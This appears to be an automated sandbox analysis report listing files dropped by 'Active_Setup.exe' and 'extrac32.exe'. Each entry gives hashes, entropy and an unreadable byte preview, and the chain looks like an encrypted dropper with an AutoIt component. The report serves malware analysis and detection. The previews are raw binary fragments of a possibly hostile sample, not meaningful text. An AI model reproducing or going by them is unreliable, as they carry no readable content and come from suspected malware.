Preview:	APPROXIMATELY........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B...................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Fabrics

Download File

Process:	C:\Users\user\Desktop\Active_Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	7.9968013773172295
Encrypted:	true
SSDEEP:	1536:7AaBRwfsNUoyf36MWSF1sWkHEh1fcv0J4vVD:7MfsNUlF/F1svHiaD
MD5:	6B6CCCA83D4E9599EABA5D9EC3452A57
SHA1:	1AF07D729E7D9CEE6F4A9E3F28265D0149A0CD81
SHA-256:	96C41D79829A4E8EBF50AADEB7E4BD4EEC58192B62FE0B62A5538DD504BEE9A2
SHA-512:	7B9E3F33B24E043C0BB35893BE50010DFEFEC905C50F0462DD034531A19F9328AF059072048F869AB92763E0F95620B789ECAAF16A671F03E7D69828417BC0CA
Malicious:	false
Preview:	H..9..?...N.....z.'b$.w..E...G.. .....F..n...h:..\...f..Z.9=\.o.-....?[a[T.%.{..P....^...]cs...........:..4:....!....-...{l5.k.R.m8...J.:M.o..0]?.. ..........Qk).o....l.......GE..C.xt..... v..0<}...:h...O.Xv.......&..........##..,2.N.6..`..p...$%-.......R37..-r..9.............e...e....L$......9~.E_.......A..{.x..6z.....L.ZZ..+...1Yp.F>..F-&. ..,.N;'C%.2eZU..Kk.,.nC.#_.I8ff>6.....f...N..oz...VL......._........x.......e.]P$e.w..YX.c..j...........{B...A.j.z{r!;8"..Xq.u..^.@9E4..b..X.i....0.......9e...M.}..0GW.j.".<(....u _.E.t..D.5x.....j....X/.....-.....1......>b.......MK#..~..~..\D....!./..I..5......9..'......O....@.W42.....,....UO.....p%9F.v.M..T.su....'...U.Zp.3....3.T.\iIk/.......I.../`.I..D.E.Q..:...N..+..........5X.._.G....r..Q.#.L?]..v.Stu.X)..S>L..N...o....aI.-D...eQ.M@...C.......q..<r..U8.....y.L..W.C<W.........7..M5L.Z&.J..5...xz(.~.)`..=B....>I...39...;.m.v.W./C.c..'..U$a..\|......./.j.9.wf.....^!..!..(.h.GI.:..e

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Floral

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	6.3133002296620075
Encrypted:	false
SSDEEP:	1536:PPp7HE+tKA3QkvyNf7Xw2U0pkzUWBh2zGc/xv5mb:PxyA3laW2UDQWf05mb
MD5:	711B218FE9E92914BF1E035296219953
SHA1:	81D89E97669F889F75F0DC7D2B960861BA4007A6
SHA-256:	F9A2079D6EF3FAA059F9D0213C6251BB441B7625A79F17AA1D17D290AAB7A6BF
SHA-512:	57B26468D28AA5DEDF7F633C447394E7B898F0C71FBA0B62ED6AC6D12300CF6C510B3A9006F31E6A214F61BC786147157F9E802753D90F97D4A177DC42CB66AF
Malicious:	false
Preview:	......L.....f....L.......L.\.I.....L.X.G.....L.........L.........L.........L.....f....L.......L.H.I.....L...@.....L.........L.........L.........L.....f....L.......L...I.....L.E.G.....L.........L.........L.........L.....f....L.......L...I.....L..G.....L....... .L.......$.L.......(.L.....f..,.L.....0.L...I...<.L.E.G...@.L.......D.L.......H.L.......L.L.....f..P.L.....T.L...I...`.L.l.G...d.L.......h.L.......l.L.......p.L.....f..t.L.....x.L.t.I.....L...G.....L.........L.........L.........L.....f....L.......L...I.....L.F.G.....L.........L.........L.........L.....f....L.......L...I.....L...G.....L.........L.........L.........L.....f....L.......L...I.....L..G.....L.........L.........L.........L.....f....L.......L...J.....L...G.....L.........L....... .L.......$.L.....f..(.L.....,.L...I...8.L..G...<.L.......@.L.......D.L.......H.L.....f..L.L.....P.L...J...\.L.Q.G...`.L.......d.L.......h.L.......l.L.....f..p.L.....t.L.P.I.....L...G.....L.........L.........L.........L.....f....L.......L.\.I....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Forums

Download File

Process:	C:\Users\user\Desktop\Active_Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.997820026195692
Encrypted:	true
SSDEEP:	1536:Q9oUwpljNJPVt1v6prPOf8tbxpKKa0Omb5gdBPJFmYqlnfUm2qbwBuJzDZtD4nwT:Zzj/1v6lc+nKKvCdNuwmnCETTv
MD5:	310064C53154FF33EFE70A34E3AAC9B8
SHA1:	ADED628816D06B661635483B987D018B41C0CD8D
SHA-256:	ABF35C29B2F2E81793409CF88080BBBD9407631192AF8D50DAA68D608B032ED8
SHA-512:	1145640356CF2A0CC44DC36BCDFFDFECB127A331B6D419D8E82B9615D4B29BF269CF6014EF16C747494F15A94F90BBEFB3C4F81BA6566F349D7DDFA11C5A9126
Malicious:	false
Preview:	.P2.-H.C`K.....;...p5QN.(....U`P..g]...J...."&.'....zz..B..........7.k.M.7&!....`D..c.=.)J...!bw.$.P..{.:d\|c......bq..'... ..U....m)..a`a...P.6I.]....)#.}A....lb..N.TY....J..}...7...> .....1.~....g.;...A../X."puq.V.P...ll....C..oi..Db.`. k."..cU^L..8m../.Y...n.~.z@c.].v\|`..);..z... B.N............:...#..s.x....Y<.......%^g.S..@.0..{.!.1%.....J.:ALO}..9rt`)....%.....r.SjD6./.D=.B.#z%.tt6.>/.q..G#....Z.V.'...\|..+J<,...}..\|.....m #..J.(.Le.)...PK........qC...s....U.S....dP......T)a.....>...8o.9.8.u.#.(.G.-...S...i,...Sn.(G..@6G...b.....AV.#:..A....7.mV.>..P.].F,........ZIz./s=Kb.c..C...&....N..64....R/[o....gN'7.!/.zc.i...l.{v{^.7a.Oe.8]...#w.e.....=.\| .K.......\|..T.7....%....z........,.../Q;.'.4CpWR..p....a..s.0D~.^....`.....b.s.}./ly.6.A..l....-".Ql.5..<..A.}.+.L.LJ..........n.>..H.X1...I.A.0...F=.Z8X.../..Vs.X9..S.^...<....up.f(...f...o....^..#.m..\ O.....7. &.i.h..........9....6Py.i.FR...?3.w.-..p".....y:..@.h..4o...!.(3f.&@..J5....\..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Holly

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	6.668300158537903
Encrypted:	false
SSDEEP:	1536:EJ3RraSXL21rKoUn9r5C03Eq30BcrTrhCX4aVmL:EBRtNPnj0nEoXnmL
MD5:	D42904BF7131433A493C1B93187D7097
SHA1:	C746FAE0DFEFF2D7A02D77993C32BB876BEEF163
SHA-256:	97BC37769E924D84EA57DD7C4B99F286334FE2B4DC0209B9EC69A9EB2DF1D295
SHA-512:	AC262CEFCDCEFFF107694A2494C795A0AEE61574CBA9DF8D63ECCF5CE6F1283668DC75B65679A83D3D6FB4B581FDB20C1CAEA943C6B3882569E1400267F3824D
Malicious:	false
Preview:	..U.....j.Y...E.f......x.f.....E.f.....B!f......"..;E...."...}...].t%......t............VPW.5]...U.....f.....>.u..x..E.f.1...j.f..X..E..y.+E..E....j...........B%f..Y.Z".............SPW..\.....j.Y.S"...E........Pwnt)j.Y;.......j Y;.v.j)Y;.t...6t.jCY;........}......1L..E...H.M.tsf.A......f#.....f;.u].A....M..E...I...H.E..Fj][;.t.jm[;.v8jo[;.v.jpXf;.u)..E.".!.E.j.Y..@.f;.t.j.Yf;.t.j...j.X.E..M...+..........!.....jv^;.s....[L...t....f...].u.3..u(f...u..M.j.^.......E.......WP...P.t...U..N....j.X..E.jxf...K.Xf....f....E..U.f.H..u...!..3..E...E.t..}..u..M...M..j...j.Yf......#...E(.@`......[....E...@....B....U..E...........j.f..f#.....f;...O....u.f..^f.........;.....D...9U.t'.....;.v..................U....M.......M.f........f.......U.........F 3.+F..u......j<_.u.f9>.V.j>...E.K.U.X........j+Y.].f;.t#j-Yf;.t.j0Yf;.r.j9Yf;.v..E.E..o....~......f;.p...r!j.[j9Zf;.w........f;.p...s.U..].f9.........u....j+X...M.].f;........r.j0.u....Zf;.r.j9Zf;.v..E.j?Z........r..u...3......f;.p.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Hopes

Download File

Process:	C:\Users\user\Desktop\Active_Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	7.996384006155273
Encrypted:	true
SSDEEP:	768:jka9aiwbVp0RI+2ycAKiu4Bxf40Humnb+hbOHKvixTZYenO3CwRJQdktroPDVQ:joiEpK/2+vfBFnvZY9fRQkMDVQ
MD5:	5DE4AD9BBC62E47E39D042EAB63A35F1
SHA1:	5DA440F563A85E719A2B2629BD1A0B67060C8882
SHA-256:	25D903F99397FED84244D06ACD4AB93EBC17037837BA6F28B6402C09B10F77E7
SHA-512:	09118475447ABB91311C95B0332936CC15FDB2ACEA6FEBE8CF526DF8838D2AD2E5145A3A4E21B6F937C411CBBCC1772094AAACBD4A689D5AD595B7C19CD8058A
Malicious:	false
Preview:	R.(...^$t........{..).{np.8.....d1i..k.BZT!.`...#..R..}...i..E^uO..H....q.('My<#......4.F..Mm.9......uE.w...Ul..E.q:}n=i..>..k..1..y..!.7.1...d.l'...x=jY..69..ug.$..g..OuE..I....Vv_.:.ch .+.P..._.<.x.yd2^^...]M.b..XkgyF..d..(P..F?.R.ck....P~.>.S.5.`3....{=6.}.f..>d....bo5hf.5.\....?LU[I...G.o......\|.R.V.?..bb u....%f.'..s.!Nf...?.h;.....Ak.s.^...\].<..4b..T}..f....<..Y(./P.........'.9>....j~..;..........ybz....Vt..l.l:..8.4..l0...q.n.r.w.....1E......rP~.............o./J..:.....Y......i..[...M/G.#)...'...O........7a..F>....9.....L.....e..3....dJg.....7\|....@....]..Fx.ne.E.....;...@.l....O._...zZ!o..:b..c8.A....5..}2(..E.....>Ze... ."..q.........(...T...eG#...B....gm]d7.)..R*Y^< .,.j..erM.'&.I../d..Bs..s....Y.d.P.Hk0....\..y....).{......K.}S......k....2.....V.0..5.....E8\|..q...3n)&..{....d#&p~..U.....vj.%e..#u.h,0'h.1...VK.`...b.H.5..7.m.[c..x.......p.+;;........A"0..T..SO..gdYB..n..1...[1.A...>.l..(.k....'.8.O.2.H4'h#...?..&L...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Howard

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	6.5915668094220985
Encrypted:	false
SSDEEP:	1536:jIBZwneAJu7QnswIPumV3BxZxu6/sPYcSyRXzW8/uC6LdTmHwANUQlHS3cctlxWm:MCZEMnVIPPBxT/sZydTmRxlHS3NxrH1
MD5:	BC0E34CFEFEE693C0855032C25192219
SHA1:	5566FCCBF1933991BDDE6A6A1D52841A7C9932B4
SHA-256:	5ECAE824617BB463E85C4DCC9E90E2B3CB36EB52D142F2F80672B022E3252C85
SHA-512:	3FF5E1B5978053FE483CC7900AC281C02DDBCB852985FE1411EF45A8CE793C29CC8E5B28B29C1FB7A5A75EA336511B2272ADDD239B354906D9AB5EECE6491503
Malicious:	false
Preview:	=....t.;A................9.....tI.E...H...N$..X..F0..H...............M.@..E....K;E.tf.M.3..F$..A.M....3.].E..C.]..u.f.{.w............... ...M.............E.@P.u.V.u..u..c.......& ...]...........]...C....;M.}..F..<..\|........3.........v....E...H...N$..X..F0..H.........E....K...;M.}..F..<..}..M.3..F$..A.E.....%....U.M...........E.@Pj.V.u..u...........ul......;E.~..E..E......E.....f9.u..C.....@.f.<Cw..Cu...B.f.<Bw..Bt.E.........1L.+..J.U..M..E.....1L.......t.= ..........U..M..v....M..q.....K.......%.....M....<........}.;~.\|..................F..N.+E.......M.+Nx.F....L...M.;...V'...F.......;.s.+..I...A....}.G..E..-'................E.u.................3..E..S..M.@Pj.V.u..u..V.......E...tS=....tL.M.....= ...u$..C...C9.......;x..f.;wt.f.8wt..*x............C.f.<Cw..Ct..........E.f.;x...#............C.f.<Cw..Ct.........].E..$................u...........E........E......E..S..M.@Pj.V.u..u..y.......E......= ....-u@..C...C9.....sJf.;wt.f.8wu>..C.f.<Cw..Ct..<....t..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Know

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	6.7334868635132406
Encrypted:	false
SSDEEP:	1536:yh+I+FrbCyI7P4Cxi8q0vQEcmFdni8yDGVFE5gOHu1CwCg:yAU4CE0Imbi80Pg
MD5:	465A355A77F969156DC7FADCCA263D4E
SHA1:	F88B6B6270809F25A46B388BECD32EA4584898C2
SHA-256:	0B8C4D23DFD4E9AF65C91EE690A6891A97D98098272FE0A61A13853D7574F9D6
SHA-512:	F837FA480F8C01952AA1130EA7F9BD6F6A96CE4C5D635A93B24CB777BF01A5B7EFBDBE7FB10791F1E9F7E800886A9C066008CCC4E01D953B7E28BA787F7A9142
Malicious:	false
Preview:	t%S......W..;.t.W..<.I...0;.u.V.....Y_[^].j.hH.L..r....}.. ......u......j.^.0...........3..u.j..s...Y.u.....!M..}.9E.\|.94...M.u1..........M...u.j.^.u..E............!M...@..!M.G.u.j..a...Y..U..E....?...k.0.....M.P..h.I.]..U..QSV.u...xi;5.!M.sa....?...k.0.....M..M..\|...uCW.....}....u"...t....t....u.Wj...Wj...Wj.....I......M..M..\|..3._................. ....^[..]..U..E....?...k.0.....M.P..\.I.].j.h(.L......j..*...Y....}.3.]..]......}M.....M..E..uS.........M...t/...!M.@.....W.....Y........?k.0.....M..D.(..}..E......................M...j0X.u.;.t`.F(.u.V..h.I..F(.t.V..\.I..M.j0X....+u..j0Y......4.........?k.0.....M..D.(......M..\|.....t...C......}.j..u...Y..U..SV.u.W..xg;5.!M.s_.....?...k.0.....M..D.(.tD.\|...t=........u#3.+.t....t....u.Pj...Pj...Pj.....I......M..L...3....(............... ...._^[]..U..M....u...... .............C..x';..!M.s.....?...k.0.....M..D.(.t..D..]..... ..................]..U...8...L.3.E..E....?...Sk.0V.....M.W.}..}.M.D...E.E...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Much

Download File

Process:	C:\Users\user\Desktop\Active_Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	7.997325001035123
Encrypted:	true
SSDEEP:	1536:/ve7Si4L23U89qfTOkuLQTM3dc80H9WqW8OmDq1HC2041+0eAJ/f0Kt8:d6qf9M3GbEJur41ReM0Kt8
MD5:	40EA94E995A8356379C12A7BE3831B0C
SHA1:	AE8629E860FCBA34CB607049FF0CBD56764EF9FD
SHA-256:	80BC9C78AB596CE560D207D921BAA1F9D25EF8ED7C0D27F09074968F43BCB248
SHA-512:	45310754EDB21D15F627F14DDB32FA81EE902C9EE119F8037F9534EF22C8659317E24E5D6B39C349424BE9C699F8112C459356BB265B49040465F8CED34FF1CA
Malicious:	false
Preview:	.rD...h...>_./v>..p...BG.[.+J..F].P......Bb..6..4..E!.W>.&M.l.v......<.....}@..;.nk.....PT..j....C........N.y.....o.U...F05.....=?.....k..f0O...1......<)...6yH...`.........'.. X.Y.#k....]4....U...z..6......S......7....I.wk.Q~.....M3..4..aE..H.7y..]].?.e.E....Y..Vl.X..xk1.k....0.S,=...zk]-..D.)D.....Od.D....t-...`2e....P_M..7.7_^..BZ:...o..v.[[.Hn.;.2.Ju0.....8BD..0.R!.K../Y".....M..........B....j....V...L7..t.6i..a......C.R..VY-...1~sB..?..U..4...s...y.iV........eP/.p.......6...L...d,..-.&..@..)....n0.'..z=LjIz.}...X...Ut.vg.......W.e..g....".;U..S..M...%..7.'-.v......u.j._..U.K/....!A.~0...=.R...d.Z.TS.T..h.p....y..t..,kg..'.....'...#..... ...g"i.=....E1.F..:.`O;..MU.+...#..(....R.m#/..y.3.93.....\|........j..!.SWp.o......x.r.3.H6..h.bG..I...GM.\|Akvt...f!1..o..8B.....(... ...........U."..#.8........+..W...l..).Fx..(.:(x.p5.W.........I..e#.&.Js.Z...;..=......&m..x.>..7.uI.F...#...z.k.0.j].YO.z.@......<N.Kz.J.^5A5.}.%.R...u...{.N.).

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Musicians

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	129120
Entropy (8bit):	6.090834486133853
Encrypted:	false
SSDEEP:	3072:XhxjgarB/5elDWy4ZNoGmROL7F1G7ho2kOb:HgarZ8aBZ2GmRq76tl
MD5:	B222EC1AB30B49DC1EC554CE7BB07D79
SHA1:	DF1AF891F52AE6902D20DD47D8C41B0601DBA0E9
SHA-256:	44B239749A06978C93A320EDACCE4F69CE5996AEE0B95680D65659DE790CBC66
SHA-512:	3ED4935D4CC16E18D485C8426F9142F99E2C05690594A670C8D416769D2DD9730D0BD939D000019B7EC235E72BAF4DB6E5C829C14460AAD724074369EFB76A60
Malicious:	false
Preview:	........................................UGP.........text$di.............text$lp00AutoIt3.......['...text$mn.....'.......text$np....3'..6....text$x.i'.......text$yd.....(.......text$zy........s....text$zz.............idata$5.............00cfg...........CRT$XCA.............CRT$XCAA............CRT$XCL........(....CRT$XCU.............CRT$XCZ.............CRT$XIA.............CRT$XIAA............CRT$XIAC............CRT$XIC.............CRT$XIZ.............CRT$XLA.............CRT$XLZ.............CRT$XPA.............CRT$XPX.............CRT$XPXA............CRT$XPZ.............CRT$XTA.............CRT$XTZ.... ...`G...rdata... ..P#...rdata$00....C.......rdata$T.....C..x....rdata$r....`E...L...rdata$zz... ...l....rdata$zzzdbg............rtc$IAA.............rtc$IZZ.............rtc$TAA.............rtc$TZZ.............tls.............tls$............tls$ZZZ.............xdata$x........h....idata$2............idata$3.............idata$4.........#...idata$6........p....data...p....9...data$00........(...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Newark

Download File

Process:	C:\Users\user\Desktop\Active_Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	66560
Entropy (8bit):	7.997055522188782
Encrypted:	true
SSDEEP:	1536:x1l6yeEp5GC2YwJ4bvUXjRc/V+M3SzQy/sJstJZjmP:xwEaC9wJ8UX8XizDsJsV6
MD5:	AE7120EE26D6BA0AD78AAC665606E024
SHA1:	CE5A99AB8A044DD218C1257E2935734ECAACC752
SHA-256:	43DEBBA3B4FB7067CA528464ED25503ED718156D0613664A7D0891D870B29DC9
SHA-512:	BB0BDB2BE130D127B0EAA9B6F6BD773D7289F73DD9FD9F6BCF761D1CF53AA04DA337F2242DF374980622460BA13FE1E0EFFFD2704717D38D61F572CC0F95D296
Malicious:	false
Preview:	..O\.d..HRV.P...r._. ..X0.t...r....^]...N).G.f.6...D..e.....F...8>j.....0.:.%6L.@.>.d.].b..r.C .I..j......2X..C.`..P_K[./ps....V...d...M+Z<.7..p.r.s......I.i.7...a..t..0......uLf...\...p(..L....0.82Ip.#.........,.....L....'.X..#........]..h9...-.lj.@..l....<....s.Q.P^.Q.4.V\|_.`..n...].......;.E,G...u..<....sY.&O.1c...{........@tP...F..> N....1.:..L6.a.b....m..vJ5c.._ .......}.......W..x.FoJ..-.P.8._..;.}N.m.F.h..3X#@..o'{1.......M.W.G...u.:r?.m].jJ.{.]...&..........E^.yNE......4..9L..!../.h... ........C.z@0O..a.Cr#.VZ6Q....DT1c....@........_.5.}..I....M.li...~I..%.#.D.^.;........g.}..$8.o.G..wD..&.S.....C..2.T\&J.:....'\|..^L.~.Ep.`g-.T...F[.c"e.*...l!..{[...[....-.X....S$..R...m.k..7..8... ......y.si3..<.l.Mr..MGe.\(.Y..<..I...o.:v....k.<.l..M..X#h..&.......v...w.i..8..2.T ............!..}..F....C.#.Q]....t...tB.+.2...x.8...{..8......{e..YaDYW.L..n.....^.z_......E.+Q....C....i..s...s.M}...=Dw...O...q.?:..5/.x..1K].;.p....F..7.[.o....w..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Production

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	146432
Entropy (8bit):	6.613282864170541
Encrypted:	false
SSDEEP:	3072:0wS2u5hVOoQ7t8T6pUkBJR8CThpmESv+AqVnBypIbv18mLthfhnueoMmOB:0b2j6AUkB0CThp6vmVnjphfhnt
MD5:	6B1C6C1863875204829B31B7D05F38A0
SHA1:	FC137DC6FE9E214B5769C806B7FAB21ACB85B7CF
SHA-256:	F8DF574CF1E3072565F2828CF001A95C670284CCF413DD60D26BF3C9B2049E8A
SHA-512:	D6A9B05ABFC7A0A19FC71FC861467103896954A3D4B126FDB0017BB51480F62CFEBC806B6C417B7B741EA8C85D55E95548BD1B2B9CCFB8799F621575B1F80DFE
Malicious:	false
Preview:	...2.]...U....SVW.}.3.j Zj..M...^...Gf;.t.f;.u.@..j"Zf;.t.j'Zf;.u..E......<......j>Z.]..u.@.]....Gf;.t.f..t.f..^C@...Gf;.u.].3.f9.G......j ...Zj...G_...f;.t.f;.u......f..t...;.......E.3.Vf..F.k...V....M......}...E..x@tC...?.....ux...xs.]..C<.M.;..t..4......V.M..t....M..i8....u=...y..A..~=.@<.M.;..t..4.....V.M..A....M..68....u..E.C;.\|....u.V...YY.M..4.......2._^[....V...N..V..F......t.Q......F..V..$..^.U..V.u.j......Y.M.Qj.VP.....p..0.......^].3..A.f.A..u......U..U.;.t".....B..A..B..A..B..A..B..A..B..A...]....A .......9.\|......S....A .......9A.\|..A....:...U.......3.V.u.W....f.F.9G ............P....I.....R........8E.t.8.....u.....u....8E.u.....u..F..8.....u.....u..F..8.....u.....u..F..8.[....................F.......Sh........I.....I......f..u.h..........f..t.....u....h........I......f..u.h..........f..t.....u..F..j.....I......f..u.j.......f..t.....u..F..j.....I......f..u.j.......f..t.....u..F..j[....I......f..u.j[......f..t.....u..F..[_..^....U..QQS..3.V..E.W.x.CO.&..e

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Regardless

Download File

Process:	C:\Users\user\Desktop\Active_Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	7.996471206729494
Encrypted:	true
SSDEEP:	1536:+VeCyIdNDMMqJD0ahw7ia4DxbUZQ+n8UJ05SdZ:+VeCyKDMM+KmtbUZvn/0K
MD5:	F270ADECB199167AEEE2F1F76FC6C60B
SHA1:	1BE097A0AFD2A4010C9950AD9E898D9F39817DDC
SHA-256:	6239F590EE8AFF80AE4DE84270E292E67F0C3100D6810B4736AD76DB708197FA
SHA-512:	C8D8BAC3807F522C73D1FE99DD31FC5FBEE19DB7AC1F0B5F01ABC19AF8208EB387DB420B3BD18F798E728AE846178FE5F5CAE0076A4A1E6785B3952716763E9D
Malicious:	false
Preview:	..A......V.@....me.y.,.@.....`t.....X.w.86..7........h..<&.M..O%J....e.....n$TP...B...........I...(...Q.....,`..0K.~0S.)4?.........jo.1VQ0.x..(...P.GS..`z...=.E..S.7.....$.X....v.....g.`..h1...s......P.,_....`.".N.8.P...[..md..q{\|...,B...B.C....&.D.L........Z...a.!...s(/.3..e..Sj4P..W...y....[_SvA&.\|..Pi.b.5....jv....K5.......:x..........p[...I&)..~..M..4.pp..Lx..!.Br6.C..{t.3.5.W.......D8x.s.ex..."..U.....R...'..s..]T.W.YG\.k.l..q...J....p<..v.V.....}.5.0...8......P.... uc.t.5.C..!..b.5Y4.E......c>=...}..D...../..L..zl.n.PF.JY.@)&.8..9...spb......#...KO.......D;);.JM.`....G......AZWr..ND.V4./.:............!.......{Dz...]...EE......Lw.(=.+..k.).4.. Z.....z~.;..v....5.3..,.....;ne9..i..H......P...x.8.S.....A..k...E..q-.4...qZ.. ....C.XP.0iLK9......._.......+........ N..^;p....d.3.(S..]...7.M.?2.&R.Pp#...X8.....>..._...9...J...z........KQ1x.t.x.L.!b1...`.+gn.....0K4.. .....5.a78.W.d.Xm.......o..Z1..$Q.....~..W...Q..M.v.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Stones

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	6.440716020622579
Encrypted:	false
SSDEEP:	1536:u1/AD1EsdzVXnP94SGGLpRB6M28eFvMVpYhWoXElJUzdlDfFgQa8BpDzdZ:uZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/T
MD5:	917E364F6FC271A8D40121B175914273
SHA1:	DDC70E783102A0F1962FB33F8FFD3429760916CC
SHA-256:	5E1831C73CA4DC58EEEDD6005227CF6552EA0CAC1D7F64A5B32687EA88418B74
SHA-512:	42C7A8411F670334E7ED77228C4F06198F29F8C6960027E7C287942B11B5E7DF03D2F8E4D7D08A26803FC235A4AC65EACE9C44F14F5987E7DE87BFBBE644518A
Malicious:	false
Preview:	.........t.M.....hi'D......Y.hs'D......Y..r...hx'D......Y..\|X..h}'D......Y.Q.I...h.'D.....Y.0$M.Q.@..0$M.P.=B..h.'D.....Y...C..h.'D.....Y.....h.'D..}...Y..+O..h.'D..l...Y..!...h.'D..[...Y.45M....h.'D..E...Y.U....SVW.}.....e....E..E..w..E..E.E.E............v..G..H..z....E....v..G..H..g....E....v..O..I..T....E...v..O..I..A....E...v..O..I.......E...v..O..I.......E..O..1...?}...u..N..u..u..u..u..u..u..1........p.....u.........F.....3._..^[....U..V.u.3.W.~....p....N.j.j.P..j.j....Pj......u..........>3._.F.....^]...SV..3.Wj._.N...N(...^..^..~..^..^..^ .^$.4......f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\.F`.Fd.....j....................F\|U............[............u......3........................l.....p.....t.....x.....\|...........................f.............................................................._......^[.U..SV..j.[.F.9F.u0...j.X;.sF3.F...W.......Q......~....Y.......~._S.....Y.M......V..N.....F.^[]......U..QQ.}..........L)M....tv.}.........@)M.3.VW.}.B....U..0.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Stored

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	150528
Entropy (8bit):	6.30946043060554
Encrypted:	false
SSDEEP:	3072:UDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfTq8QLeAg0Fuz08XvBNbjaAD:pO5bLezWWt/Dd314V14ZgP0JaAOz04pv
MD5:	143E7AECDA9B8FBB690F21741025F877
SHA1:	86EFDD32A91B6975D317DBD523DDAAC85F592FEC
SHA-256:	7E629F034075027CFD91047D97EA665E22DF5B5294F591839926DB0D3D906733
SHA-512:	69DEB62C52EA03D26540D8C33691A366BDB9654F2872951030B92DAD3C29F15FFBFC621B18217C2191F3ED8038DEB22F52C0CB78A6046DCE7E83470B3F4C73D8
Malicious:	false
Preview:	....S.x!..3..Y..~..L$...+.A.......I..D.....;.\|..L$ .+....V...Vj.W.L$,......M..D$ P....W.'!..Y.S.L$$.....SQ.t$..L$,.....S.L$..R....T$..L$ ...u.......,....M..D$.P.q....L$.......L$ ....._^3.[..]...U........E.V.@..0.......N....D$..A..D$..A..D$..A..L$..D$....9....M..D$.P......L$..z...3.^..]...U..S.].VW.C..0......C..~..p....t....M.3..^..y..r..A..H..(.....x....~.3..u....u.S...>.....P.s..3.w..7..............F.....3..>_^[]...U.........S.]..L$$VWh.....C..D$...........V....YP.L$..R`..V....YP.L$D.A`...C..0......^..L$H.`....L$X...h..L..L$ .....Q.D$ P.L$`.?....L$..V....D$X;.t.S.......D$\3..D$t..D$.H.D$h..D$...K..\|$ .\|$$.\|$(.L$..D$<;{.......Q.D$ PW.L$d.......q....D$ .L$,...0.@..D$...+.PWS......\|$...V...s..j%Yf9.u".F...P.s..j%Yf9.u.Q.L$0.I........V...os..j\Yf9.u8.F...P.\s..j\^...+.t ...t....t.H.........j..j..j..V.D$.;D$<.......t$.@.L$LVS.D$..Z....D$L.L$HHP.........iwGt^..Et...Gt...XtO..dtJ......we.E..L$..@........QQ..$.t$P.t$ ........<..ot..........H...t....u#.E.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Train

Download File

Process:	C:\Users\user\Desktop\Active_Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	46420
Entropy (8bit):	7.995989008366851
Encrypted:	true
SSDEEP:	768:dztyUpb5oqHwqhSEgXJGXYrmKqa4YRnh97SCurW78Ioppl8RgxwPEl4WADoAIuax:FcU9dcE4JGXB4n/GCoWJRgOES3DFbai2
MD5:	31C8BB183D54D6EB33B211A490678AA7
SHA1:	90DA54BE05EF63781AFCD43AA84DDA344AC98CA1
SHA-256:	7CCA9CA74AAB2EB3D5CFDA3DB4358F8074E534A3116BDC3348494D383A6765F2
SHA-512:	28F2D445E36C171270FA624742153CDFA9655C0FD405826F6E1E38426B8A148C4AB8C22B71085718AC4AF041650B31AB115821B6DA17AC33BEC58540CF7E5569
Malicious:	false
